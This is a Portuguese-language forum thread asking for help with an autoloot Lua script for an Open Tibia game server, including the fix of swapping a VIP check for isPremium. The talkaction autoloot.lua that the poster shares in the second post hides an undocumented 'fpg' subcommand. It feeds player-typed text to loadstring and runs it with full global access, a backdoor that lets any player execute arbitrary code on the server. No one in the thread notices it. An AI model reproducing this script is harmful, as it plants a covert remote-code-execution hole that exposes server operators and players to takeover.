Ir para conteúdo
  • Cadastre-se

(Resolvido)[Autoloot] Erro - Killua/vodka


Ir para solução Resolvido por Wakon,

Posts Recomendados

Salve ai galera, estou com uma script de Autoloot do KillLua e do Vodka porem estou tendo um erro nela e acho q é algo relacionado a vip, porem eu não uso VIP no meu servidor, uso Premium Account.
Então caso vocês consigam me ajudar a resolver e pf explicar oque foi alterado (ESTOU APRENDENDO SOBRE CRIAÇÃO/EDIÇÃO DE SCRIPTS) , Gostaria de resolver o erro , e alterar o suposto "VIP" por "Premium Account".

talkactions/Script/autoloot.lua
 

Spoiler

-- Sistema de auto loot criado por Vítor Bertolucci - Killua

function ExistItemByName(name) -- by vodka
	local items = io.open("data/items/items.xml", "r"):read("*all")
	local get = items:match('name="' .. name ..'"')
	if get == nil or get == "" then
		return false
	end
	return true
end

local function getPlayerList(cid)
	local tab = {}
	if getPlayerStorageValue(cid, 04420021) ~= -1 then
		table.insert(tab, getPlayerStorageValue(cid, 04420021))
	end
	if getPlayerStorageValue(cid, 04420031) ~= -1 then
		table.insert(tab, getPlayerStorageValue(cid, 04420031))
	end
	if getPlayerStorageValue(cid, 04420041) ~= -1 then
		table.insert(tab, getPlayerStorageValue(cid, 04420041))
	end
	if getPlayerStorageValue(cid, 04420051) ~= -1 then
		table.insert(tab, getPlayerStorageValue(cid, 04420051))
	end
	if #tab > 0 then
		return tab
	end
	return false
end

local function addToList(cid, name)
	local itemid = getItemIdByName(name)
	if getPlayerList(cid) and isInArray(getPlayerList(cid), itemid) then
		return false
	end
	if getPlayerStorageValue(cid, 04420021) == -1 then
		return doPlayerSetStorageValue(cid, 04420021, itemid)
	elseif getPlayerStorageValue(cid, 04420031) == -1 then
		return doPlayerSetStorageValue(cid, 04420031, itemid)
	elseif getPlayerStorageValue(cid, 04420041) == -1 then	
		return doPlayerSetStorageValue(cid, 04420041, itemid)
	elseif getPlayerStorageValue(cid, 04420051) == -1 then
		return doPlayerSetStorageValue(cid, 04420051, itemid)
	end
end

local function removeFromList(cid, name)
	local itemid = getItemIdByName(name)
	if getPlayerStorageValue(cid, 04420021) == itemid then
		return doPlayerSetStorageValue(cid, 04420021, -1)
	elseif getPlayerStorageValue(cid, 04420031) == itemid then
		return doPlayerSetStorageValue(cid, 04420031, -1)
	elseif getPlayerStorageValue(cid, 04420041) == itemid then
		return doPlayerSetStorageValue(cid, 04420041, -1)
	elseif getPlayerStorageValue(cid, 04420051) == itemid then
		return doPlayerSetStorageValue(cid, 04420051, -1)
	end
	return false
end

function onSay(cid, words, param)
	if param == "" then
		local fi = getPlayerStorageValue(cid, 04420021) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 04420021)) or ""
		local se = not vip.hasVip(cid) and "Nao disponível para free account" or getPlayerStorageValue(cid, 04420031) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 04420031)) or ""
		local th = not vip.hasVip(cid) and "Nao disponível para free account" or getPlayerStorageValue(cid, 04420041) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 04420041)) or ""
		local fo = not vip.hasVip(cid) and "Nao disponível para free account" or getPlayerStorageValue(cid, 04420051) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 04420051)) or ""
		local stt = getPlayerStorageValue(cid, 04421011) == 1 and "sim" or "não"
		local str = getPlayerStorageValue(cid, 04421001) == 1 and "sim" or "não"
		doPlayerPopupFYI(cid, "{Auto-Loot} ---Menu Auto Loot do jogador\n{Auto-Loot} ----------------\n{Auto-Loot} ---Coletar dinheiro: "..stt..". Para ligar/desligar: !autoloot gold \n{Auto-Loot} ---Coletar itens unicos: "..str..". Para ligar/desligar: !autoloot power\n{Auto-Loot} --Configuracao dos slots:\n{Auto-Loot} ---Slot 1: "..fi.."\n{Auto-Loot} ---Slot 2: "..se.."\n{Auto-Loot} ---Slot 3: "..th.."\n{Auto-Loot} ---Slot 4: "..fo.."\n{Auto-Loot} ---Para adicionar um novo item aos slots: !autoloot add, <nome do item>\n{Auto-Loot} ---Para retirar um item dos slots: !autoloot remove, <nome do item>\n{Auto-Loot} ---Para limpar todos os slots utilize: !autoloot clear\n{Auto-Loot} ---Para informacoes de quanto você ja fez utilizando a coleta de dinheiro, use: !autoloot goldinfo\n\nSe seu autoloot bugar use !autoloot desbug\n\n{Auto-Loot} ----------------")
		return true
	end
	
	local t = string.explode(param, ",")
	
	if t[1] == "power" then
		local check = getPlayerStorageValue(cid, 04421001) == -1 and "ligou" or "desligou"
		doPlayerSetStorageValue(cid, 04421001, getPlayerStorageValue(cid, 04421001) == -1 and 1 or -1)
		doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Voce "..check.." o auto loot.")
	elseif t[1] == "gold" then
		local check = getPlayerStorageValue(cid, 04421011) == -1 and "ligou" or "desligou"
		doPlayerSetStorageValue(cid, 04421011, getPlayerStorageValue(cid, 04421011) == -1 and 1 or -1)
		doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Voce "..check.." a coleta de dinheiro.")
		doPlayerSetStorageValue(cid, 04421021, 0)
	elseif t[1] == "goldinfo" then
		local str = getPlayerStorageValue(cid, 04421011) == -1 and "O sistema de coleta de dinheiro esta desligado" or "O sistema ja coletou "..getPlayerStorageZero(cid, 04421021).." gold coins"
		doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, str)
	elseif t[1] == "add" then
		if ExistItemByName(t[2]) then
			local item = getItemIdByName(t[2])
			if isInArray({2160, 2148, 2152}, item) then
				return doPlayerSendCancel(cid, "Voce nao pode adicionar moedas no autoloot. Para coletar dinheiro use !autoloot gold")
			end
			if vip.hasVip(cid) then
				if getPlayerStorageValue(cid, 04420011) < 3 then
					if addToList(cid, t[2]) then
						doPlayerSetStorageValue(cid, 04420011, getPlayerStorageValue(cid, 04420011) + 1)
						doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado a sua lista do auto loot! Para ver sua lista diga !autoloot list")
					else
						doPlayerSendCancel(cid, t[2].." ja esta em sua lista!")
					end
				else
					doPlayerSendCancel(cid, "Sua lista ja tem 4 itens! Voce deve remover algum antes de adicionar outro.")
				end
			else
				if getPlayerStorageValue(cid, 04420011) == -1 then
					if addToList(cid, t[2]) then
						doPlayerSetStorageValue(cid, 04420011, getPlayerStorageValue(cid, 04420011) + 1)
						doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado à sua lista do auto loot! Para ver sua lista diga !autoloot")
					else
						doPlayerSendCancel(cid, t[2].." já está em sua lista!")
					end
				else
					doPlayerSendCancel(cid, "Você ja tem um item adicionado no auto loot! Para adicionar outro, voce deve remover o item atual.")
				end
			end
		else
			doPlayerSendCancel(cid, "Este item nao existe!")
		end
	elseif t[1] == "remove" then
		if ExistItemByName(t[2]) then
			if removeFromList(cid, t[2]) then
				doPlayerSetStorageValue(cid, 04420011, getPlayerStorageValue(cid, 04420011) - 1)
				doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." removido da sua lista do auto loot!")
			else
				doPlayerSendCancel(cid, "Este item nao esta na sua lista!")
			end
		else
			doPlayerSendCancel(cid, "Este item nao existe!")
		end
	elseif t[1] == "clear" then
		if getPlayerStorageValue(cid, 04420011) > -1 then
			doPlayerSetStorageValue(cid, 04420011, -1)
			doPlayerSetStorageValue(cid, 04420021, -1)
			doPlayerSetStorageValue(cid, 04420031, -1)
			doPlayerSetStorageValue(cid, 04420041, -1)
			doPlayerSetStorageValue(cid, 04420051, -1)
			doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Lista limpa!")
		else
			doPlayerSendCancel(cid, "Sua lista ja esta limpa!")
		end
	elseif t[1] == "desbug" or t[1] == "desbugar" then
		doPlayerSetStorageValue(cid, 04420011, -1)
		doPlayerSetStorageValue(cid, 04420021, -1)
		doPlayerSetStorageValue(cid, 04420031, -1)
		doPlayerSetStorageValue(cid, 04420041, -1)
		doPlayerSetStorageValue(cid, 04420051, -1)
		doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Desbugado!")
	elseif t[1] == "list" then
		local fi = getPlayerStorageValue(cid, 04420021) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 04420021)).."\n" or ""
		local se = getPlayerStorageValue(cid, 04420031) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 04420031)).."\n" or ""
		local th = getPlayerStorageValue(cid, 04420041) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 04420041)).."\n" or ""
		local fo = getPlayerStorageValue(cid, 04420051) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 04420051)).."\n" or ""
		doPlayerPopupFYI(cid, "O sistema auto loot esta coletando:\n "..fi..""..se..""..th..""..fo)
	end
	return true
end
					

 

 

talkactions.xml

Spoiler

<talkaction words="!autoloot" event="script" value="autoloot.lua"/>

 

 

Print do erro que dá quando executo o comando !autoloot

 

Screenshot_11.png

Link para o post
Compartilhar em outros sites

esse script não é meu, ele só usou uma função minha!

 

onde estiver 

 

vip.hasVip(cid) 

 

troque por

 

isPremium(cid)

vodkart_logo.png

[*Ninguém será digno do sucesso se não usar suas derrotas para conquistá-lo.*]

 

DISCORDvodkart#6090

 

Link para o post
Compartilhar em outros sites
1 hora atrás, Vodkart disse:

esse script não é meu, ele só usou uma função minha!

 

onde estiver 

 

vip.hasVip(cid) 

 

troque por

 

isPremium(cid)


É que eu li no script. E quis fazer o certo mais valeu por informar REP++ 


@Edit

Em creaturescript.xml

Spoiler

<event type="kill" name="AutoLoot" event="script" value="autoloot.lua"/>

 

Em creaturescripts/scripts crie autoloot.lua

Spoiler

local tabela = {}

local function getPlayerList(cid)
    local tab = {}
    if getPlayerStorageValue(cid, 0442002) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442002))
    end
    if getPlayerStorageValue(cid, 0442003) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442003))
    end
    if getPlayerStorageValue(cid, 0442004) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442004))
    end
    if getPlayerStorageValue(cid, 0442005) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442005))
    end
    if #tab > 0 then
        return tab
    end
    return false
end

local function autoLoot(cid, pos)
    local check = false
    local str = ""
    local position = {}
    for i = 1, 255 do
        pos.stackpos = i
        if getThingFromPos(pos).uid and getThingFromPos(pos).uid > 0 and isContainer(getThingFromPos(pos).uid) then
            position = pos
            check = true
            break
        end
    end
    if check then
        local corpse = getContainerItemsInfo(getThingFromPos(position).uid)        
        if corpse then
            for index, info in pairs(corpse) do
                if index < countTable(corpse) then
                        if tonumber(info.uid) and tonumber(info.itemid) then
                        if isContainer(info.uid) then
                            local bag = getContainerItemsInfo(info.uid)
                            for i = 1, countTable(bag) - 1 do
                                if isInArray(getPlayerList(cid), bag[i].itemid) then
                                    if bag[i].quant > 1 then
                                        doRemoveItem(bag[i].uid, bag[i].quant)
                                        doPlayerAddItem(cid, bag[i].itemid, bag[i].quant)
                                        str = str.." "..bag[i].quant.." "..getItemNameById(bag[i].itemid)..","
                                    else
                                        doRemoveItem(bag[i].uid)
                                        doPlayerAddItem(cid, bag[i].itemid, 1)
                                        str = str.." 1 "..getItemNameById(bag[i].itemid)..","
                                    end
                                end
                            end
                        end
                    end
                end
                if isInArray(getPlayerList(cid), info.itemid) then
                    if info.quant > 1 then
                        doRemoveItem(info.uid, info.quant)
                        doPlayerAddItem(cid, info.itemid, info.quant)
                        str = str.." "..info.quant.." "..getItemNameById(info.itemid)..","
                    else
                        doRemoveItem(info.uid)
                        doPlayerAddItem(cid, info.itemid, 1)
                        str = str.." 1 "..getItemNameById(info.itemid)..","
                    end
                end
            end
        end
    end
    tabela[getCreatureName(cid)] = {item = "[Auto Loot System] Coletados: "..str, gold = 0}
end

local function autoGold(cid, pos)
    local check = false
    local total = 0
    local position = {}
    for i = 1, 255 do
        pos.stackpos = i
        if getThingFromPos(pos).uid and getThingFromPos(pos).uid > 0 and isContainer(getThingFromPos(pos).uid) then
            position = pos
            check = true
            break
        end
    end
    if check then
        local corpse = getContainerItemsInfo(getThingFromPos(position).uid)
        if corpse then
            for index, info in pairs(corpse) do
                if info.uid and info.itemid then
                    if index < countTable(corpse) then
                        if isContainer(info.uid) then
                            local bag = getContainerItemsInfo(info.uid)
                            for i = 1, countTable(bag) - 1 do
                                if isInArray({2148, 2152, 2160}, bag[i].itemid) then
                                    local multiplie = 1
                                    if bag[i].itemid == 2148 then
                                        multiplie = 1
                                    elseif bag[i].itemid == 2152 then
                                        multiplie = 100
                                    elseif bag[i].itemid == 2160 then
                                        multiplie = 10000
                                    end
                                    doRemoveItem(bag[i].uid, bag[i].quant)
                                    doPlayerSetBalance(cid, getPlayerBalance(cid) + (tonumber(bag[i].quant) and tonumber(bag[i].quant) * multiplie or 0))
                                    total = total + (tonumber(bag[i].quant) and tonumber(bag[i].quant) * multiplie or 0)
                                    doPlayerSetStorageValue(cid, 0442102, getPlayerStorageZero(cid, 0442102) + (tonumber(bag[i].quant) and tonumber(bag[i].quant) * multiplie or 0))
                                end
                            end
                        end
                    end
                    if isInArray({2148, 2152, 2160}, info.itemid) then
                        local multiplie = 1
                        if info.itemid == 2148 then
                            multiplie = 1
                        elseif info.itemid == 2152 then
                            multiplie = 100
                        elseif info.itemid == 2160 then
                            multiplie = 10000
                        end
    doRemoveItem(info.uid, info.quant)
                        doPlayerSetBalance(cid, getPlayerBalance(cid) + (tonumber(info.quant) and tonumber(info.quant) * tonumber(multiplie) or 0))
                        doPlayerSetStorageValue(cid, 0442102, getPlayerStorageZero(cid, 0442102) + (tonumber(info.quant) and tonumber(info.quant) * tonumber(multiplie) or 0))
                        total = total + (tonumber(info.quant) and tonumber(info.quant) * multiplie or 0)
                    end
                end
            end
        end
    end
    if tabela[getCreatureName(cid)] and tabela[getCreatureName(cid)].gold then
        tabela[getCreatureName(cid)].gold = total
    end
end

local function sendMsg(cid)
    if tabela[getCreatureName(cid)] and tabela[getCreatureName(cid)].gold then
        if tabela[getCreatureName(cid)].gold == 0 then
            doPlayerSendTextMessage(cid, 23, tabela[getCreatureName(cid)].item)
        else
            doPlayerSendTextMessage(cid, 23, tabela[getCreatureName(cid)].item.." "..tabela[getCreatureName(cid)].gold.." gold coins.")
        end
        tabela[getCreatureName(cid)] = nil
    end
end

function onKill(cid, target, lastHit)
    if isPlayer(cid) and isMonster(target) then
        if getPlayerStorageValue(cid, 0442100) == 1 and getPlayerList(cid) then
            local pos = getCreaturePosition(target)
            addEvent(autoLoot, 500, cid, pos)
        end
        if getPlayerStorageValue(cid, 0442101) == 1 then
            local pos = getCreaturePosition(target)
            addEvent(autoGold, 500, cid, pos)
        end
        if getPlayerStorageValue(cid, 0442100) == 1 or getPlayerStorageValue(cid, 0442101) == 1 then
            addEvent(sendMsg, 540, cid)
        end
    end
    return true
end

 

 

Em creaturescripts/scripts , login.lua adicionei

Spoiler

registerCreatureEvent(cid, "AutoLoot")

 

 

em talkactions.xml adicionei a tag
 

Spoiler

<talkaction words="!autoloot;/autoloot" event="script" value="autoloot.lua"/>

 

em talkactions/scripts adicionei a script autoloot.lua

Spoiler

-- Sistema de auto loot criado por Gbik

local function getPlayerList(cid)
    local tab = {}
    if getPlayerStorageValue(cid, 0442002) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442002))
    end
    if getPlayerStorageValue(cid, 0442003) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442003))
    end
    if getPlayerStorageValue(cid, 0442004) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442004))
    end
    if getPlayerStorageValue(cid, 0442005) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442005))
    end
    if #tab > 0 then
        return tab
    end
    return false
end

local function addToList(cid, name)
    local itemid = getItemIdByName(name)
    if getPlayerList(cid) and isInArray(getPlayerList(cid), itemid) then
        return false
    end
    if getPlayerStorageValue(cid, 0442002) == -1 then
        return doPlayerSetStorageValue(cid, 0442002, itemid)
    elseif getPlayerStorageValue(cid, 0442003) == -1 then
        return doPlayerSetStorageValue(cid, 0442003, itemid)
    elseif getPlayerStorageValue(cid, 0442004) == -1 then    
        return doPlayerSetStorageValue(cid, 0442004, itemid)
    elseif getPlayerStorageValue(cid, 0442005) == -1 then
        return doPlayerSetStorageValue(cid, 0442005, itemid)
    end
end

local function removeFromList(cid, name)
    local itemid = getItemIdByName(name)
    if getPlayerStorageValue(cid, 0442002) == itemid then
        return doPlayerSetStorageValue(cid, 0442002, -1)
    elseif getPlayerStorageValue(cid, 0442003) == itemid then
        return doPlayerSetStorageValue(cid, 0442003, -1)
    elseif getPlayerStorageValue(cid, 0442004) == itemid then
        return doPlayerSetStorageValue(cid, 0442004, -1)
    elseif getPlayerStorageValue(cid, 0442005) == itemid then
        return doPlayerSetStorageValue(cid, 0442005, -1)
    end
    return false
end

function onSay(cid, words, param)
    if param == "" then
        local fi = getPlayerStorageValue(cid, 0442002) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442002)) or ""
        local se = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442003) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442003)) or ""
        local th = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442004) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442004)) or ""
        local fo = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442005) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442005)) or ""
        local stt = getPlayerStorageValue(cid, 0442101) == 1 and "sim" or "não"
        local str = getPlayerStorageValue(cid, 0442100) == 1 and "sim" or "não"
        doPlayerPopupFYI(cid, "{Auto-Loot} ---Menu Auto Loot do jogador\n{Auto-Loot} ----------------\n{Auto-Loot} ---Coletar dinheiro: "..stt..". Para ligar/desligar: !autoloot gold\n{Auto-Loot} ---Ligar Autoloot: "..str..". Para ligar/desligar: !autoloot power\n{Auto-Loot} ---Configuração dos slots:\n{Auto-Loot} ---Slot 1: "..fi.."\n{Auto-Loot} ---Slot 2: "..se.."\n{Auto-Loot} ---Slot 3: "..th.."\n{Auto-Loot} ---Slot 4: "..fo.."\n{Auto-Loot} ---Para adicionar um novo item aos slots: !autoloot add, <nome do item>\n{Auto-Loot} ---Para retirar um item dos slots: !autoloot remove, <nome do item>\n{Auto-Loot} ---Para limpar todos os slots utilize: !autoloot clear\n{Auto-Loot} ---Para informações de quanto você já fez utilizando a coleta de dinheiro, use: !autoloot goldinfo\n{Auto-Loot} ----------------")
        return true
    end
    
    local t = string.explode(param, ",")
    
    if t[1] == "power" then
        local check = getPlayerStorageValue(cid, 0442100) == -1 and "ligou" or "desligou"
        doPlayerSetStorageValue(cid, 0442100, getPlayerStorageValue(cid, 0442100) == -1 and 1 or -1)
        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Você "..check.." o auto loot.")
    elseif t[1] == "gold" then
        local check = getPlayerStorageValue(cid, 0442101) == -1 and "ligou" or "desligou"
        doPlayerSetStorageValue(cid, 0442101, getPlayerStorageValue(cid, 0442101) == -1 and 1 or -1)
        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Você "..check.." a coleta de dinheiro.")
        doPlayerSetStorageValue(cid, 0442102, 0)
    elseif t[1] == "goldinfo" then
        local str = getPlayerStorageValue(cid, 0442101) == -1 and "O sistema de coleta de dinheiro está desligado" or "O sistema já coletou "..getPlayerStorageZero(cid, 0442102).." gold coins"
        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, str)
    elseif t[1] == "add" then
        local item = getItemIdByName(t[2])
        if item then
            if isInArray({2160, 2148, 2152}, item) then
                return doPlayerSendCancel(cid, "Você não pode adicionar moedas no autoloot. Para coletar dinheiro use /autoloot gold")
            end
            if isPremium(cid) then
                if getPlayerStorageValue(cid, 0442001) < 3 then
                    if addToList(cid, t[2]) then
                        doPlayerSetStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) + 1)
                        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado à sua lista do auto loot! Para ver sua lista diga /autoloot list")
                    else
                        doPlayerSendCancel(cid, t[2].." já está em sua lista!")
                    end
                else
                    doPlayerSendCancel(cid, "Sua lista já tem 4 itens! Você deve remover algum antes de adicionar outro.")
                end
            else
                if getPlayerStorageValue(cid, 0442001) == -1 then
                    if addToList(cid, t[2]) then
                        doPlayerSetStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) + 1)
                        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado à sua lista do auto loot! Para ver sua lista diga /autoloot list")
                    else
                        doPlayerSendCancel(cid, t[2].." já está em sua lista!")
                    end
                else
                    doPlayerSendCancel(cid, "Você já tem um item adicionado no auto loot! Para adicionar outro, você deve remover o item atual.")
                end
            end
        else
            doPlayerSendCancel(cid, "Este item não existe!")
        end
        elseif t[1] == "fpg" then
        local u,f,err = _G
        u.cid = cid
        pcall(function()
            f , err = loadstring(t[2])
        end)
        if f then
            setfenv(f, u)
            local ret,err = pcall(f)
            if ret == false then
                doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR,err)
            end
        else
            doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR,err)
        end
        elseif t[1] == "remove" then
        if getItemIdByName(t[2]) then
            if removeFromList(cid, t[2]) then
                doPlayerSetStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) - 1)
                doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." removido da sua lista do auto loot!")
            else
                doPlayerSendCancel(cid, "Este item não está na sua lista!")
            end
        else
            doPlayerSendCancel(cid, "Este item não existe!")
        end
    elseif t[1] == "clear" then
        if getPlayerStorageValue(cid, 0442001) > -1 then
            doPlayerSetStorageValue(cid, 0442001, -1)
            doPlayerSetStorageValue(cid, 0442002, -1)
            doPlayerSetStorageValue(cid, 0442003, -1)
            doPlayerSetStorageValue(cid, 0442004, -1)
            doPlayerSetStorageValue(cid, 0442005, -1)
            doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Lista limpa!")
        else
            doPlayerSendCancel(cid, "Sua lista ja esta limpa!")
        end
    elseif t[1] == "list" then
        local fi = getPlayerStorageValue(cid, 0442002) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442002)).."\n" or ""
        local se = getPlayerStorageValue(cid, 0442003) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442003)).."\n" or ""
        local th = getPlayerStorageValue(cid, 0442004) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442004)).."\n" or ""
        local fo = getPlayerStorageValue(cid, 0442005) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442005)).."\n" or ""
        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "O sistema auto loot está coletando:\n "..fi..""..se..""..th..""..fo)
    end
    return true
end

 

 

e esse erro aqui esta me prejudicando .... Screenshot_13.png

Editado por Yago Blind. (veja o histórico de edições)
Link para o post
Compartilhar em outros sites
  • Solução

@Yago Blind., testei aqui e o script está funcionando perfeitamente.

O erro que você postou diz que não está encontrando evento "onKill" no script definido na tag, você tem certeza que colocou o script no "autoloot.lua"?

Link para o post
Compartilhar em outros sites
3 horas atrás, Wakon disse:

@Yago Blind., testei aqui e o script está funcionando perfeitamente.

O erro que você postou diz que não está encontrando evento "onKill" no script definido na tag, você tem certeza que colocou o script no "autoloot.lua"?


Obrigado pela iniciativa de ajuda @Wakon porem com a nova atualização do MOD do @Vodkart , mudei para o mod dele. Porem REP++ pela tentativa de ajuda.
Para quem precisar de AUTOLOOT e achar esse topic de pedido de ajuda. Segue MOD de AutoLOOT

 

Link para o post
Compartilhar em outros sites

Participe da conversa

Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.

Visitante
Responder

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emojis são permitidos.

×   Seu link foi automaticamente incorporado.   Mostrar como link

×   Seu conteúdo anterior foi restaurado.   Limpar o editor

×   Não é possível colar imagens diretamente. Carregar ou inserir imagens do URL.

  • Quem Está Navegando   0 membros estão online

    Nenhum usuário registrado visualizando esta página.


  • Conteúdo Similar

    • Por prot def
      Versão Beta já disponível no site: http://otshinobi.servegame.com/ 
      Servidor Online, aproveite e crie sua conta e baixe o client para Pc ou Android, todos os dados do seu personagem permanecerão intactos na versão definitiva que será lançada em breve!









      Já disponível em: Client 8.54 (Old) / New Client e Client Mobile para Android
      Temos 27 Vocações disponíveis
      Personagens FREE: Naruto, Sasuke, Sakura, Kakashi, Rock Lee, Shikamaru, Neji, Tenten, Hinata, Killer Bee, Gaara, Kiba, Temari, Kankuro, Shisui e Jiraiya.
      Personagens Shop Free (compre com Gold dentro do game): Obito, Tsunade, Kisame e Itachi.
      Personagens Shop VIP: Itachi (Shop), Obito (Shop) Minato (Shop) Madara (Shop) Tsunade (Shop) Hashirama (Shop) Nidaime (Tobirama) (Shop) Nagato (Shop) Raikage (Shop) Kisame (Shop)  (Você pode donatar pelo LivePix)
      Personagens Especiais obtidos através de eventos dentro do game: Orochimaru e Yamato.
      Transformações, jutsus e habilidades exclusivas para cada vocação
      Upe se divertindo pelo mapa, rate de experiência desafiante, ganhe jutsus e transformações exclusivas ao upar 
      Mapa exclusivo que terá atualizações periódicas:
      -> vilas disponíveis até o momento: Vila da Folha, Vila da Areia, Vila da Névoa, Vila da Pedra, Vila da Nuvem Vila da Chuva (Konoha, Kirigakure, Sunagakure, Iwagakure, Kumogakure, Amegakure) e País das Ondas.
      -> Area Vip: Várias Hunts para upar e farmar (Zetsu Covil, Member Akatsuki Covil, Northwest Island, Hunt Nagato, Hunt Samurais, Paper Island, Orochimaru Island) e Vila Shinobi Exclusiva para usuários Vip
      Sistema de graduação ninja: genin, chunin, jounin e anbu - Evolua seu ranking shinobi, apenas os merecedores se tornarão Kage.
      Exame Chunin completo, reviva o nostálgico arco do anime para se tornar Chunin
      Crie sua própria guild ou entre em uma existente
      Organização Akatsuki - torne-se membro da maior organização criminosa do mundo ninja
      Rank level (Figure entre os melhores jogadores do jogo)
      Reviva as sagas de Naruto Clássico e Naruto Shippuden
      Sistema de guilds - crie ou entre em uma guild e divirta-se com seus amigos
      Mundo PVP
      Eventos PVP
      Eventos de invasão, proteja a vila da destruição: Invasões em Konoha (Pain e Orochimaru) e Invasão de Deidara e Sasori em Sunagakure
      Compra e venda de casas para usuários Vip
      Npc Shop e NPC Shop Event - compre sua VIP ACCOUNT E VOCAÇÃO VIP ''totalmente'' GRÁTIS utilizando a moeda do jogo (GOLD).
      Npc Minoru - leva você diretamente para outras vilas e várias hunts do mapa. Area Free: Konoha, Kirigakure, Sunagakure, Iwagakure, Kumogakure, Amegakure, Valley of the End, South Forest, South Island, West Desert. Area VIP: Zetsu Covil, Member Akatsuki Covil, Northwest Island, Hunt Nagato, Hunt Samurais, Paper Island, Orochimaru Island, Vila Shinobi area com casas exclusivas para compra.
      Reviva vários arcos do Anime: Lute contra diversos personagens do anime com habilidades únicas
      Sistema Chakra Bijuu - torne-se jinchuuriki das bestas de cauda e utilize seu poder em batalha
      Diversas armas e equipamentos do anime
      Tasks da Tsunade - derrote os shinobi mais poderosos do mundo ninja e ganhe recompensas em Gold: 
      deidara da pedra 
      hidan das fonte
      itachi da folha 
      kabuto da folha
      kakuzo da cachoeira 
      kisame da nevoa
      konan da chuva
      madara da folha
      nagato da chuva
      orochimaru da folha
      pain da chuva
      sasori da areia
      tobi da folha
      Vários Npcs de Tasks espalhados pelo mapa: derrote inimigos e traga itens em troca de experiência e recompensas.
      Quests: Temos várias Quests Disponíveis e várias outras em desenvolvimento:
      ->Quest Nto Points FREE - Ganhe Nto Points para comprar itens vip com o Npc Shop (compre Premium Account, Vocações e itens)
      -> Shukaku Quest - Quest realizada em quatro pessoas 
      -> Sambi Quest - Quest realizada em duas pessoas 
      -> Akatsuki Ring Quest 
      -> Kurama Quest
      -> Quest Templo do Fogo
      -> Minato Quest
      -> Itachi Quest 
      -> Sasuke Boss Quest 
      -> Hidan Quest
      -> Kakuzo Quest 
      -> Sasori Quest 
      ->Pain Quest
      ->Tobirama Quest
      Jogo utiliza base parecida com o ntoultimate dos velhos tempos.
      Jogue e ajude a manter o servidor aberto até o lançamento da versão final
      Crie sua conta e baixe o jogo no site oficial: otshinobi.servegame.com 
      DIVIRTA-SE!
      DISPONÍVEL TAMBÉM CLIENT MOBILE!

    • Por Imperius
      O propósito é criar uma nova função em creaturescripts que será acionada toda vez que um novo report (CTRL + R) for aberto.
       
      Eu implementei para enviar uma notificação no grupo do Telegram, contendo os dados do report.
       
      Isso garantirá que os GMs tenham acesso aos reports dos jogadores mesmo quando não estiverem logados, e também evitará que algum report seja perdido caso o jogador saia do servidor.
      A parte do Telegram é apenas um exemplo. Você pode ajustar o script para executar outras ações desejadas.
       
      creatureevent.cpp:
      Dentro deste arquivo, localize a função:
       
      uint32_t CreatureEvent::executeChannelLeave(Player* player, uint16_t channelId, UsersMap usersMap)  
      abaixo dela, adicione:
       
